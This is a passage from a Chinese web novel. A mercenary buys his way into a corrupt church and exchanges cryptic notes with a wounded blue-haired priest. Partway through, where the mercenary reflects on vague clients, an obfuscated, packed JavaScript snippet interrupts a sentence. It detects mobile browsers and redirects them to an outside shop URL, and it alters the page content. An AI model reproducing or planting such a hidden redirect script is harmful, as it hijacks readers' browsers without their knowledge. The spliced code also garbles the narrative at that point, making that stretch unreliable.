他换掉了那把从黑市商人尸体上得来的、已经有些卷刃的旧匕首,定制了一把更符合他手型和发力习惯的新武器。刀身采用了一种高密度的惰性合金,对大多数能量护盾有微弱的穿透优势,更重要的是哑光处理近乎完美,在昏暗光线下几乎不反光。刀柄根据他手掌的疤痕和握持姿势做了微调,握感扎实,不易脱手。他又花费不小,在体内植入了一个微型肾上腺素调节器和一套简化版的神经反射增强纤维网。前者可以在他意识许可下短时提升爆发力与痛觉耐受,代价是事后严重的疲惫和可能的轻微器官损伤;后者则能将他本就因无数次死亡而磨砺出的战斗反应,在物理层面上加速一点。 信用点除了用于装备和维持地堡,也开始缓慢地转化为另一种资源:信息。作为雇佣兵,他接触的委托类型虽然因自我设限而变得狭窄,但依然将他带入了加仑城更复杂的阴影脉络之中。很多委托并非直接针对教堂,但在执行过程中未不止一次地发现,偶尔会有交易的另一端,或货物最终流向的阴影里,晃动着身穿神职人员长袍的身影。 他们交易的物品五花八门:被教会明令禁止流通的某些药品,带有不洁属性外来书籍或者是用品,甚至是一些打着圣物幌子的工艺品。神职人员不允许发委托,大多都是委托某人帮助自己发委托,这个也很常见。而被委托的那个人态度往往两极分化:有些人提及教堂和圣物时,带着一种混合了贪婪与恐惧的狂热,仿佛那里面藏着颠覆世界的秘密或无上力量;另一些人则嗤之以鼻,认为所谓圣水、圣痕不过是心理安慰剂,教堂本身则是披着神圣外衣的、效率低下的古老机构,甚至嘲笑那些信徒的虔诚。 最让未印象深刻的,是一次协助某位背景复杂的中间商,与一位显然在教堂内拥有一定权限的低阶神职人员,在深夜的废弃码头完成一笔隐秘交割。委托内容只是确保交易过程安全,并处理掉可能出现的“意外”。交易本身很顺利,那位神职人员面容隐藏在兜帽阴影下,动作麻利,验货收款一气呵成,与黑市商人并无二致。只是在一切结束,未准备悄然离开时,那位神职人员不知是心情放松,还是对未这个沉默寡言、但行事干净的雇佣兵有了一丝模糊的认可,竟然用压低的声音,仿佛自言自语般说了一句:“小子,看你还算有点分寸……提醒你一句,千万别信那些能买进教堂名额的传言。那里头……”他顿了顿,似乎在斟酌词句,“看着是比外面干净,没那么多血糊糊的厮杀,但不舒服是真的不舒服,不要学我,甚至还指望在这里养老呢,哈哈…” 未之前并非完全没有听说过类似的风声,但如此近距离地、从一个正在进行黑市交易的神职人员口中听到这种近乎业内提醒的话,感觉截然不同。 好奇,或者说,一种想要厘清自身与那个始终吸引又排斥着他的世界之间关系的冲动,促使他行动了。他动用了自己成为雇佣兵以来积攒下的大半信用点通过一个极其隐秘、以贩卖各种禁忌信息著称的情报贩子,购买了一个关于进入黑主教教会的确切途径。 情报的内容冰冷而直接:确实存在一个“非正规”入会渠道。需要秘密联系教会内某位被称为“蓝衣副主教”的高层人物,向其缴纳一笔数额惊人的奉献金。这笔钱的作用是“洗涤过往,重塑身份”,为申请人制造一份清白的、符合基本入会要求的身份档案,并打点各个环节,使其能够通过表面审查。至于双手未染无辜之血和身体洁净这两条核心教规,在足够的奉献面前,似乎可以被技术性地解释或绕过。情报贩子最后意味深长地补充:“这价格,可不是给那些在泥里打滚的苦哈哈准备的。买的是张门票,进去后是福是祸,看你自己造化。” 未拿着这张轻飘飘却重若千钧的情报,在昏暗的地堡里坐了许久。一种强烈的荒谬感攫住了他。原来如此。那两条他曾偷听到、并因此彻底绝望的铁律,那看似高不可攀的神圣门槛,原来只是一道针对穷人的壁垒。对于有能力支付天价奉献金的人,这壁垒是可以绕过的,甚至本身就是一种价码。神圣的归神圣,交易的归交易,两者在阴影下并行不悖,甚至相辅相成。教会宣扬的平等,在此刻显得如此苍白而讽刺。 紧接着荒谬感而来的,是冷静到极点的评估。即使他未来某天攒够了那笔天文数字般的奉献金,买到了那张门票,进入了教堂,然后呢?这意味着他必须彻底放弃现有的雇佣兵身份和与之相关的一切——收入来源、相对自由的行事方式、在灰色地带积累起来的那点微薄但实用的名声。他将进入一个规则完全不同、且可能更加隐晦复杂的封闭体系。从情报和那位神职人员的警告来看,那里并非净土。为了一个或许并不比现在好多少、甚至可能更糟的安稳,付出全部积蓄和现有的一切,值得吗? 在未看来,答案是否定的。至少在目前这个阶段,得不偿失。雇佣兵的身份虽然危险、肮脏,且因自我设限而前途受阻,但至少给了他一定的自主性和生存能力。贸然放弃,去赌一个未知且显然同样充满龌龊的圣所,绝非明智之举。 随着委托接触面的扩大,未见识了形形色色的人。位高权重者,其决策往往裹挟着无数人的命运,好坏难以简单评判;底层挣扎者,在生存压力下,善恶的界限也变得模糊,很多人或许并非天性邪恶,只是没有作恶的资源和机会,或者被迫在更小的恶中做出选择。大多数人,如同他自己一样,是复杂矛盾的混合体,在环境的裹挟下,时而挣扎,时而妥协,身上同时存在着光亮与阴影。 只有一个人,在他的观察和听闻中,始终像一个难以纳入这套评估体系的例外——但,那个雪原上递出药膏、在垃圾场月光下无声凝视的蓝发祭司。关于但的流言很多,说他出身王室却被流放,说他圣痕残缺是个残次品,说他性格孤僻难以接近。未通过碎片信息确认了但似乎确实与王室有某种关联,但更具体的内情无从得知。然而,在所有或明或暗的信息中,未没有捕捉到任何关于但参与黑市交易、收受贿赂、滥用职权或行为不端的确实证据。但就像一片在浑浊激流中缓慢沉淀的、异质的晶体,与周围的环境格格不入。他的好,似乎并非源于无知或天真,而是一种带着沉重代价的、近乎顽固的坚持。 这种认知,反而加深了未心中某种难以言喻的……类似负罪感的东西,或者说是对洁净之物本能的疏远与不安。他无法理解但的存在逻辑,就像无法理解雪原上那瓶被塞进口袋的药膏。为了抵消这种不适,或者说,为了让自己保持某种清醒,未开始有意识地回报。他会匿名将一小袋信用点放在曾悄悄给过他提示的药剂师柜台角落;会顺手解决掉一两个正在骚扰某个曾给过他半块面包的流浪汉的混混;甚至,在极偶然的情况下,如果得知但正在进行的某些慈善发放或医疗协助遇到物资短缺,他会通过完全无法追溯的方式,匿名提供一点微不足道的物资补充。 但他与但的世界,依然隔着厚厚的壁垒。如果他不属于教会阵营,就几乎没有合理且不引人注目的机会与但单独接触。教堂的自习室允许他逗留,但严格禁止与主持的神职人员进行任何私人交流。他们最近的距离,除了雪原和垃圾场那两次充满戏剧性的仓促相遇,就只剩下未偶尔在角落远远望见但带领祷文或匆匆走过回廊的身影。 然而,蓝衣副主教和奉献金这条情报,虽然让未看清了教会另一面的荒诞,却也像在他原本有些漫无目标的前路上,突然竖起了一个清晰的标杆。 不过还有一个重要的信息,就是黑市严禁除了神职人员之外的人代发或者代接委托。这明显就是针对神职人员的特权,特权套特权,跟叠叠乐似的。既然规则如此…那么,为何不试试?未的心中慢慢滋生出了新的动力。他开始更拼命地接取委托,更精细地管理收支。他不再将加入教会视为寻求庇护的软弱渴望,而是将其视为一个任务。先拿到资格,至于拿到之后要不要用、怎么用,那是另一回事。重要的是,在这个过程中,他有了一个可以为之攒钱、为之忍耐、为之在血腥与泥泞中继续前行的具体念想。 …… 有了相对稳定的信用点来源,未的生活进入了一种奇特的、紧绷的常态。地堡日益坚固,装备逐渐更新,他像一个谨慎的工匠,一点点打磨着自己在这座城市赖以生存的獠牙与甲壳。 对教堂的复杂情绪,并未随时间淡去,反而发酵成一种更为具体、也更为扭曲的执念。在这个过程中,但的身影总是不合时宜地浮现。那个与周遭污浊格格不入的蓝发祭司,他的存在本身就是一个谜。未听说的关于但的流言,大多指向其王室出身与圣痕残缺,却从未听闻他有任何实质性的劣迹。他看似温和,却在雪原上急切地递出药膏;他身处教会中枢,却似乎对地下交易心知肚明,甚至出言警告;他被未撞见血案现场,眼中却无审判,只有一片平静,以及更深处难以解读的沉重。 未无法理解。但看似总在违反一些不言自明的规则,比如与未这样身份不清、血腥缠身的人产生交集,比如私下配发可能被动了手脚的药膏……他的背景,那层模糊的王室光环,真的足以让他如此特殊,甚至免于被教会驱逐或清算吗?还是说,在这看似平静的表象下,但正以另一种方式,承受着不为人知的代价? 疑问如同蔓草,在未心底滋生。他再次将目光投向了教堂的自习室。那里是他唯一能够相对安全、合法地靠近但所在世界的角落。他依旧怀揣着那枚旧徽章,坐在熟悉的、光线昏暗的角落,拿起草稿纸,却久久没有下笔。这一次,他不再写破碎的情绪或观察,而是尝试提出具体的问题。用的是博士所授的、早已失传的复杂文字,一笔一划,生涩却认真。 他将第一张纸条塞进老地方: #我知道你是谁了,你是我们的自习主持,对吗? 第二日,他取回纸条,下面添了工整的回复: #“自习室的烛火记得每个徘徊的影子。称呼并不重要,重要的是你找到了暂时栖息的角落。” 这回复让未愣了一下。和他预想中可能得到的直接承认或否认不同,但的回答……像一句诗,或者一个谜语。他皱起眉,思索片刻,写下了更直白的一句,带着罕见的、近乎笨拙的歉意: #我们上次在垃圾场见面,我直接跑了,真的很抱歉。 回复如期而至: #“雪原上的鹿听见枪声也会逃离,这不是过错。只是下次若再遇见……或许可以不必背对月光。” 又是诗。未盯着“不必背对月光”这几个字,指尖无意识地摩挲着粗糙的纸面。这算是一种……含蓄的邀请吗?还是仅仅是一种修辞?他甩甩头,决定先说出那个压在心头的、更实际的担忧。他写下: #我有一件事要告诉你,可能有人在偷偷往你配发的药里面下毒。 这一次,但的回复似乎快了一些,笔迹依旧工整,内容却让未心头微沉: #“银血草膏的苦涩味里,我尝得出第四种成分。但教堂的回廊太长,有些脚步声注定追不到源头……谢谢你。” 他知道。他果然知道。 这让他鼓起了些许勇气,写下了那个关乎自身道路选择的问题,带着一种破罐破摔般的坦诚: #我现在有能力从特殊渠道进入教会了。我杀过人,身体不洁,无法走常规流程。 回复来得比以往任何一次都慢: #“圣坛前的石板吸饱了三百年血泪,你以为它分辨不出哪滴是‘奉献金’洗过的?孩子,门若为钱而开,进去的只会是更大的笼子。” 未没读懂,但是应该是不好的事情。但某种叛逆的、不信邪的念头也随之升起。他忍不住追问那个关于但自身的谜团: #能告诉我你的王室血统是真的吗? 回复简短而苦涩: #“王室把不合规的器物送去熔炉时,不会检查烙印是否疼痛。如今我只是个需要每天跪着擦洗祭坛的瑕疵品,这答案够真了吗?” 未沉默了许久。一种复杂的情感涌上心头,混杂着对同类的模糊感知,以及更强烈的、想要做点什么的冲动。他写下: #我想帮你。 这一次,回复给出了一条具体、却令人费解的路径: #“走廊东侧第三扇彩窗的蓝色最浅,因为那后面藏着通向墓园的偏门。如果你真想‘帮’,就在暴雨夜替那些无名墓碑拔一次荒草——这比所有誓言都能让我喘息。” 拔草?在暴雨夜?替无名墓碑?未完全无法理解这其中的逻辑。这算是帮忙吗?还是某种隐喻或考验?他感到一种深深的隔阂与困惑。 他想起垃圾场那次相遇,但的目光曾落在他的匕首和血迹上。他写下,带着一种近乎辩白的强调: #上次被你看到我委托的过程很抱歉,那是第一次委托,之后我再也没有杀过人。 但的回复有一丝微妙的不同: #“我在忏悔室听过十七种用‘第一次’开头的辩白。但你握着匕首站在血泊里时,眼神和那些喊着‘替天行道’的人不同……你是冷的。冷的人反而容易在冰窟里活久一点。” “冷”。这个评价精准地刺中了未。但看到了他当时的状态,那不是狂热,不是正义的愤怒, 最后未写下了一句总结性的,或许也是为自己频繁逃离开脱的话: #很抱歉每次见到你都逃跑。 纸条被取走,归还时,上面最后的回复,墨迹似乎不如之前稳定: #“鸽子撞上彩窗后会绕开整座教堂飞行,不是讨厌光,是怕自己的影子弄脏了玻璃。不必道歉。只是若你愿意……下次停在这片阴影下时,或许我们可以不再隔着血迹与雾气说话。” 那“雨”字的最后一笔,墨迹微微晕开。 未拿着这叠写满了回复的纸条,在地堡昏暗的光线下反复看了很久。困惑远多于解答。 但这次回复的风格,没有了平铺直叙的安慰和鼓励,取而代之的是一连串充满意象、隐喻、甚至带着诗意晦涩的句子,像谜语。 未最讨厌谜语人。在他作为雇佣兵的生涯里,最头疼的就是那些说话含混不清、需求暧昧不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848503|191422||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的委托人,往往导致他需要花费额外的心力去猜测、验证,甚至因此陷入不必要的危险。如今,但的回复让他产生了同样的烦躁感。 未攥着那叠带着回复的纸条,回到地堡。昏黄的应急灯光下,那些工整又克制的字迹,连同最后那个晕开的“雨”字,像一幅他完全看不懂的密码图。他盘腿坐在冰冷的金属地板上,一张张摊开,试图从这些诗不像诗、谜不像谜的句子里,榨取出一点明确的含义。 没有留下坏印象——这是他能从最初两条回复里勉强抓到的信息。但似乎不在意他是谁,甚至把雪原和垃圾场的逃离,轻描淡写地归为“鹿听见枪声”般的本能。那句“不必背对月光”隐约像是个邀请,可“月光”又是什么?是指下一次相对平和的见面,还是某种……象征?未烦躁地抓了抓头发。 药膏的事,但果然知道。那句“尝得出第四种成分”和“追不到源头”,透着一种深谙内情却无能为力的疲惫。这证实了未最坏的猜测,也让他心头沉了沉。连但这样身份特殊的人都无法自保,那看似庄严肃穆的教堂回廊深处,究竟藏着多少无声的厮斗? 关于“买身份”,但的反对尖锐而明确。“更大的笼子”——这比黑市神职人员的警告更直击要害。未能领会这比喻背后具体指向何种危险,是更严密的监控?更无法挣脱的束缚?还是某种精神上的彻底奴役?他不清楚,但“笼子”这个词本身,就足够让他警醒。他追求的是摆脱追杀的喘息之机,是一个能锁上门自己说了算的角落,绝不是另一个更精致的囚笼。 王室血统的真相,以一种近乎自毁的方式被但揭开。这解释了但身上那种与周遭格格不入的疏离感和挥之不去的沉重从何而来。他并非拥有特权,而是背负着被剔除的烙印,在此地履行一种近乎惩罚的职责。这个认知没有让未感到轻松,反而让但的形象变得更加复杂难懂。一个自身难保的“瑕疵品”,为何还能分出心神,给另一个“瑕疵品”递出药膏和充满隐喻的忠告? 最让他费解的是那条“帮忙”的建议。暴雨夜,无名墓园,拔草。每一个词都超出了未的理解范畴。这算什么帮忙?是某种隐喻性的考验,看他是否愿意做毫无功利目的的苦工?还是但真的相信,这种微不足道、甚至有些荒谬的行为,能给他带来一丝“喘息”?未完全无法将“拔草”与“帮助但”这两件事联系起来。 但看到了他本质里的某种东西,那不是善恶,不是冲动,而是一种在极端环境下淬炼出来的、剥离了多余温度的生存核心。没有被原谅,也没有被谴责,这种理解本身也带着寒意。 最后那条回复成了所有困惑的焦点。“不再隔着血迹与雾气说话”……这究竟是一种诗意的期盼,希望下次相遇能稍微清晰、坦诚一点?还是仅仅是一种无力的感伤? 他试图再写纸条追问,用更直接、更笨拙的语言去索要一个清晰的答案:到底什么意思?我该怎么做? 然而,纸条却不再被取走,更无新的字迹落下。但单方面中止了这场无声的对话。 这种悬而未决、答案近在咫尺却又遥不可及的沉默,比明确的拒绝更让未焦躁。它像一首只写了半阕的诗,一个没有谜底的谜语,卡在他的思维里,带来持续不断的、细密的困扰。他依然去自习室,依然会远远瞥见那抹月白或雾蓝的身影在回廊深处掠过,但那条由古老文字维系的、隐秘的连线,似乎被无形地剪断了。 那叠写着晦涩回复的纸条,被未仔细地折叠好,收进了生死之誓书页的夹层里。困惑与隐约的焦躁并未立刻消散,但雇佣兵的生活不容许他长时间沉溺于无解的情绪。委托接踵而至,信用点需要赚取,地堡需要维护,那把新匕首的握感需要更加熟悉。加仑城灰败的天空下,雪时而细碎,时而狂暴,唯独没有雨——但回复中提到的“暴雨夜”,在这个被气候调节系统掌控、能量风暴替代了自然降水的地方,几乎成了一个不可能存在的意象。 然而,既然条件无法满足,那么条件本身是否就变得不再重要?重要的,仅仅是“替那些无名墓碑拔一次荒草”吗? 起初,这念头只是偶然闪过。在一次委托结束,绕路经过教堂外围那片荒凉墓园时,未的脚步不自觉地慢了下来。铁丝网围栏锈迹斑斑,里面石碑歪斜,荒草在终年的湿冷与能量尘埃中呈现出一种顽劣的枯黄色,长得东倒西歪,几乎要淹没那些低矮的、没有任何装饰的坟冢。这里埋葬的大多是无人认领的死者,流浪汉,无名氏,或许还有像他这样挣扎在边缘、最终悄无声息消失的人。寂静,破败,被遗忘。与教堂彩窗的瑰丽和圣坛的庄严相比,这里是光鲜表象下最真实的阴影,是加仑城吞咽了生命后,随意吐出的渣滓。 未站在围栏外,看了很久,身体先于思考做出了反应。 他不再是路过。他每天会特意空出时间,拿起清洁工具,来到墓园,翻过铁丝网。 双脚落在松软、混杂着冻土与腐烂植物质的地面上时,未感到一种奇异的陌生感。这里的气息与垃圾场不同,没有那么浓烈的腐败和化学品的臭味,只有一种更深的、属于泥土、苔藓和岁月湮灭的沉寂。他走到最近的一片无名碑林前。石碑粗糙,很多连名字都没有,只有编号,或者干脆空空如也。荒草纠缠着墓碑的基座,有些甚至从石缝里钻出来。 他抓住一把枯草的根部,用力。草茎断裂的声音在寂静中显得突兀,根系带起一小坨冰冷的泥土。他重复这个动作,将碑座周围的杂草清理出一小片干净的区域。然后,他用手套拂去石碑表面的浮尘、苔藓和鸟粪,露出下面粗糙的石质。没有水,他就用相对干净的雪块一点点擦拭。 整个过程沉默而专注,与他执行委托时的状态有些类似,却又截然不同。没有目标需要达成,没有报酬可以期待,没有敌人需要提防,也没有生死需要抉择。冰冷的空气刺痛着他裸露的脸颊和手指,雪花落在他的肩头和发梢,很快融化或结成薄霜。他的呼吸在面前形成一团团白雾。 他不明白自己为什么要这么做。这行为本身就像一个谜,一个他主动参与却拒绝解读的仪式。或许,这是在用行动回应但那份他无法完全理解的邀请或建议,以此维系那条已经中断的文字对话所代表的、微弱的连接?或许,这是在模仿但每日“擦洗祭坛”的姿态,以一种笨拙的方式,试图靠近那个他无法理解的世界?又或许,这仅仅是他自己需要一种脱离杀戮、交易和生存计算的纯粹体力消耗,在冰冷的劳作中,让过度思考的大脑暂时空白? 答案混合着,无法分离。 唯一清晰的是,当他跪在冰冷的土地上,手套摩擦着粗糙的石面,呼吸与飘雪融为一体时,加仑城的喧嚣、委托的血腥、地堡的孤寂、对教会名额的执念、对但的困惑……所有这些纷乱嘈杂的思绪,都会暂时退远,变得模糊。只有眼前这一小块需要清理的区域是真实的。这种“真实”带着寒冷的痛感,却也有一种奇异的、令人安心的具体。 他从未在墓园遇到过但,也未曾期待过。这行为似乎完全成了他自己的事,与但的关联只存在于最初那个建议的起点。未继续着他的雇佣兵生涯,积攒着信用点,评估着那个买来的名额的风险与价值。墓园的劳作没有给他任何答案,也没有改变加仑城的任何规则。它只是在他日益冰冷坚硬的生命外壳上,凿出了一个微不足道的、定期重复的凹痕。在那里,没有杀戮,没有交易,只有寂静的荒草、无名的石碑,以及他自己都说不清道不明的、坚持弯下的腰和伸出的手。 19. 【九】 冰冷的奉献金没有带来神启,只换来一套沉默的流程。未站在那扇从未对公众开放的侧门前,门上的藤蔓与锁链浮雕像是某种隐喻。接待他的灰袍执事面无表情,递来一叠厚厚的文书。新名字已经印好——“默”。 一个字,一道命令,一副面具。按下指印的瞬间,未感到某种属于“未”的部分被正式封存。 所谓的“洗涤”发生在地下室。没有圣歌,只有消毒喷雾冰冷的气味和机械重复的身份灌输。他们让他背诵新的生平:一个在无名孤儿院长大、蒙受感召的年轻人。故事单薄得像张草纸,却必须刻进本能。 接着是身体上的处理。 背上几处最狰狞的旧疤被激光淡淡地扫过,痛感轻微,痕迹却真的模糊了。当他换上分发的粗糙亚麻内衣、灰色修士服,戴上刻着编号的铁牌时,荒诞感再次涌上。他攒了那么久、沾着血与泥的信用点,就换来了这些。 一个代号,一套制服,一个位于十二人大通铺角落的铺位。 然而,当热水第一次从公共浴室的锈蚀管道里涌出,冲刷掉积年累月的污垢和血腥气;当粗糙但洁净的布料包裹身体;当黑面包和菜汤按时放在面前时,另一种更原始、更真实的慰藉,缓慢地渗入了四肢百骸。这里至少有安稳的睡眠,有遮风挡雨的屋顶,有不必时刻提防背后刀锋的片刻松弛。对习惯了垃圾场风声和地堡孤寂的人来说,这近乎奢侈。 晨祷的钟声刺破昏暗,未跟着人群走入宏大的祈祷厅。他站在最后排,含糊地念着不懂的祷文,声音淹没在众人的低吟里。随后,日复一日的劳作开始了。 首先是擦拭那仿佛永远没有尽头的回廊石栏,彩玻璃窗棂上闪着微光的能量尘埃,自习室他曾经坐过的、如今空荡荡的角落。他跪在冰凉地板上刷洗,水桶漾开浑浊的圈。 之后是搬运救济点的陈年豆子,节日用的沉重装饰,维修用的建材。雇佣兵时期淬炼的力气,如今转化成稳定而持久的负重。汗水浸透灰色的布料,又在阴冷空气中慢慢变凉。 最后,是服务。粥棚前麻木或感激的面孔,识字班里费力描画字符的手指,医疗站里寥寥无几的草药与绷带。 未虽然只是像他的新名字“默”字一样,沉默地分发,沉默地维持秩序,像一颗被嵌入庞大机器的、无声的齿轮,但这些公开的、体面的工作,构成了教会慈悲的光晕,也填满了默绝大部分的时间与心神。 它们被设计得极其碎片和重复,足以磨钝最敏锐的神经。他试图在搬运间隙观察,在打扫时留意,寻找任何与但有关的蛛丝马迹,却困难重重。活动范围被严格限定,核心区域遥不可及。而但,那个蓝发的身影,仿佛从他成为“默”的那一刻起,就从这片空间里消失了。自习室换了主持,祭坛轮值不见其人,连医疗站也换了负责人。一丝隐隐的不安开始在默心底滋生:是下毒事件的影响?还是更糟的情况? 在适应规则与徒劳寻找的同时,雇佣兵的本能让默感知到了水面下的涌动。仓库里,标注“救济”的物资会悄悄流向“内部协调”的角落;厨房里,修士的黑面包与“特定场合”的白面包、肉食,泾渭分明;某位执事的私人储物柜里,藏着公开渠道永远短缺的药膏。熄灯后的集体宿舍,低语交换着关于岗位、巡视、乃至某些执事“额外门路”的模糊信息。权力在这里以更细微的方式流淌:仓库老执事的一个眼神,调度修士笔下的一划,甚至掌勺修士手里那把长柄勺的倾斜角度,都能决定一天的难易。默明白了那个黑市神职人员所说的“不舒服”——一种被无形网格精密测量、缓慢挤压的感觉。像他这样通过“奉献金”进来的人,似乎不止一个,他们彼此疏离,却心照不宣,被打散在人群里,成为一个沉默的亚群体。 时间在重复与压抑中流逝。默的身体因规律生活恢复了些许底层健康,精神的某处却感到缓慢的锈蚀。直到那个沉闷的下午,他被派去清理教堂后方荒废的杂物院。 院子里堆着断裂的烛台、破损的帷幔,杂草几乎齐膝。正当他搬动一个沉重的朽木底座时,对面那扇通常紧锁的偏门被猛地推开,一个身影踉跄闪入,迅速反手关门,背靠着门板急促喘息。 是但。 月白色的祭司袍下摆泥泞不堪,袖口被荆棘扯开线,蓝色长发凌乱地贴在汗湿的额角。他脸色异样潮红,呼吸粗重,右手紧紧捂着左上臂,指缝间,灰色的布料隐隐渗出一抹刺目的深色。 默的心脏骤停一拍。他立刻低下头,假装专注于眼前的杂物,全身肌肉却已绷紧,感官放大到极致。 但的喘息声在寂静的院子里格外清晰。几秒后,他似乎缓过一点,抬起头,目光扫过,然后死死锁定了默。 那一瞬间,默感到一道冰冷的审视,锐利如刀,全然不同于月光下的平静或垃圾场中的沉重。那是属于猎食者或受伤困兽的眼神。但几乎在认出他的同时,那眼神迅速变化,锐利被压下,转而浮起复杂的波澜——惊愕、一丝狼狈,然后是深不见底的疲惫,以及一种刻意拉开的距离。 默放下手中的东西,垂首站立,不知该如何应对这突如其来的、充满破绽的相遇。 但先开口了,声音沙哑,却强自平稳:“新来的修士?” 他用的是完全陌生的、属于上位者的询问语气。 默瞬间领会。在这里,他们是第一次见面的祭司与低阶修士。 “是,祭司大人。修士默,在此清理。” 他低声回答,姿态恭敬。 但点了点头,手仍按着伤处。 “此处偏僻,你倒勤勉。” 他停顿,似在斟酌,“我……在后方墓园查看时,不慎滑倒,被断枝所伤。从此处返回较为近便。” 墓园滑倒?断枝能造成那样的出血和脸色?默的视线迅速扫过但捂着的胳膊,那深色痕迹在缓慢洇开。“大人伤势似乎不轻,应立即前往医疗站。” “不必。” 拒绝来得快而干脆,带着不容置疑的力度,“小事。你忙你的。” 他试图站直离开,脚步却虚浮地晃了一下。 就在这时,主建筑方向传来脚步声和谈话声,正向杂物院而来。但的脸色蓦地一白,看向默,眼中第一次闪过一丝近乎急切的情绪。 默动了。他几乎本能地侧身,将旁边一堆厚重的破旧帷幔猛地扯过,看似随意地堆在但进来的小门附近,同时也挡住了袍子下最显眼的泥污。接着,他抓起靠在墙边的扫帚,快速清扫但脚下带来的泥痕,动作流畅得像早已计划好要清理那里。 但深深地看了他一眼,那目光中的隔阂裂开一道细缝,露出底下某种极沉重、极复杂的东西。他迅速调整呼吸,挺直背脊。 两名后勤执事推门进来,见到但,立刻躬身:“祭司大人。” 但微微颔首,语气已恢复淡然:“来看看是否有旧物可用于俭朴仪式。你们自便。” 执事目光扫过院子,落在低头清扫的默身上,未觉异常,例行检查后便离开了。 脚步声远去。但紧绷的肩膀微微一塌,几不可闻地吐了口气。他再次看向默,沉默了片刻,低声说:“……多谢。” 然后,他补充了一句,声音轻得像怕惊动尘埃,却重重砸在默的心上:“后面的事,别再管了”。 不等默有任何反应,他便迅速拉开偏门,闪身没入后面的阴影中,留下院子里弥漫的淡淡血腥气和那句谜语般的话。 默握着扫帚,站在逐渐恢复死寂的院子里,心脏在胸腔里沉重地撞击。但受伤了,在墓园,伤得不轻。 夜幕如期降临,如同沉重的帷幕覆盖加仑城。集体宿舍响起均匀的鼾声,修士们沉入疲惫的梦乡。规定明确:入夜后,低阶修士不得在生活区及指定工作区域外随意走动。 默躺在坚硬的铺位上,睁着眼。黑暗中,但捂着伤口、踉跄闪入的身影,那抹洇开的深色,以及最后那句低语,反复灼烧着他的思绪。但的伤势显然不是简单的“滑倒”,那刻意掩饰的急切和拒绝医疗站的坚决,都指向更麻烦的事情。下毒者?还是其他? 他盯着天花板斑驳的阴影,雇佣兵时代评估风险的本能开始与修士“默”需要遵守的规则激烈交锋。违反夜规被抓的后果可能是严惩,甚至被剥夺资格。但……但可能处于危险中,或者那里有重要的线索。 东侧走廊漫长而昏暗,那扇彩窗在夜色中只是一个更深的暗影。他找到那扇包着铜边的窄门,手按上去。 锁着。 但白天是从这里离开的。他仔细摸索门框边缘,在靠近底部一个不起眼的磨损处,指尖触到一点异常的松动。用力一按,内部传来轻微的“咔嗒”声。门锁是坏的,或者说,被巧妙地处理过,能从外部用特定方式打开。 他闪身进去,反手轻轻带上门。眼前是一条狭窄、陡峭向下的石阶,霉味和土腥气扑面而来,尽头隐约是墓园荒芜的轮廓。夜风穿过碑林,发出呜咽般的低啸,比白天更添几分阴森。 未点亮配发的煤油灯,仔细检查每一处地方,试图找出但和其他人搏斗过的痕迹。 未不知不觉就走到了但之前停留的最久的“老地方”,果然发现了血迹。血迹一路延伸,然后到突兀的断了线。 未蹲下身,用手摸索最后血迹郁结的土壤。泥土比别处松软,像是近期被翻动过。他轻轻拨开表面的杂草和浮土,指尖忽然碰到一个坚硬的东西。不是石头。他小心地挖开周围的土,那东西逐渐显露——一个沾满泥污、约手掌长度的金属物件,形状奇特,一端尖锐,像是某种特制的工具或武器的部件,边缘还残留着已经发黑的、可疑的污渍。不是教会常见的制式物品。 正当他试图看清时,身后极近处,传来一声轻叹,在风声中几乎微不可闻。 默浑身一僵,血液瞬间冰凉。他缓缓转过身。 但就站在几步外,不知何时出现的。他换了一身深色的便袍,几乎与夜色融为一体,脸上没什么表情,只有那双眼睛,在昏暗光线下,沉静地看着他,看着他手中的金属件,再看向他沾满泥的手。 “你不该来。” 但的声音很轻,却带着石头般的重量,没有任何惊喜或感激,只有深深的疲惫,以及一丝……了然的不赞同。 默站起身,握紧那冰冷的金属件。“你的伤……” “与你无关。” 但打断他,语气不容置疑,“也不是你该插手的事。” “有人下毒,你现在又受伤,这东西埋在……” “我说了,与你无关。” 但向前一步,目光扫过默手中的东西,又落回他脸上,“放下它,忘记你今晚来过这里,回去。” 默站着没动。夜风吹过,带着墓园特有的阴冷。 “你需要帮助。” 但扯了扯嘴角,那不是一个笑容,更像是某种自嘲的弧度。 “帮助?你能帮我什么?用你买来的身份,去挑战这里的规则?还是用你藏在袖子里的匕首,去对付阴影里的东西?” 他的目光锐利起来,“默,你看清了,这里不是雇佣兵战场,没有明确的敌人和任务酬金。这里的规则更复杂,代价更隐秘。你买门票进来,不是为了再次跳进另一个泥潭,尤其是一个你根本看不清深浅的泥潭。” 他伸出手,掌心向上,想要表达的意思已经不必多说。 默看着他苍白的脸,捂着伤臂的姿态,还有眼中那不容错辨的拒绝与疏离。他忽然明白了,但的拒绝不是不信任,而是一种切割。把他这个“意外因素”排除在更危险的漩涡之外。 沉默在两人之间蔓延,只有风声呜咽。 最终,默慢慢松开了手指,将那沾着泥和可疑污渍的金属件,放在但冰冷的掌心。 但合拢手指,将它攥住,深深看了默一眼。“记住我的话。做好你的‘默’。有些黑暗,不是靠一点勇气和一把匕首就能驱散的。” 他顿了顿,声音更低,“墓园夜里常有能量残留波动,不安全。以后不要再来了。” 说完,他转身,深色的袍角掠过荒草,无声地融入更深的夜色,仿佛从未出现过。 默独自站在无名碑前,手中空余泥土的湿冷和金属件遗留的冰冷触感。但拒绝了帮助,划清了界限。他违规出来,只得到一句警告和一个更深的谜团。 他缓缓走回石阶,重新锁上那扇偏门,沿着来路悄无声息地返回。宿舍里鼾声依旧,无人察觉他的短暂消失。他洗了手,躺回铺位,冰冷从四肢蔓延到心脏。 …… 从墓园那晚回来后,整个人像是被抽掉了一根关键的骨头。默依然准时出现在晨祷的行列,依然完成分派的工作,但有什么东西不一样了。 但的“与你无关”像一根冰冷的刺,扎进了他最不愿承认的地方。 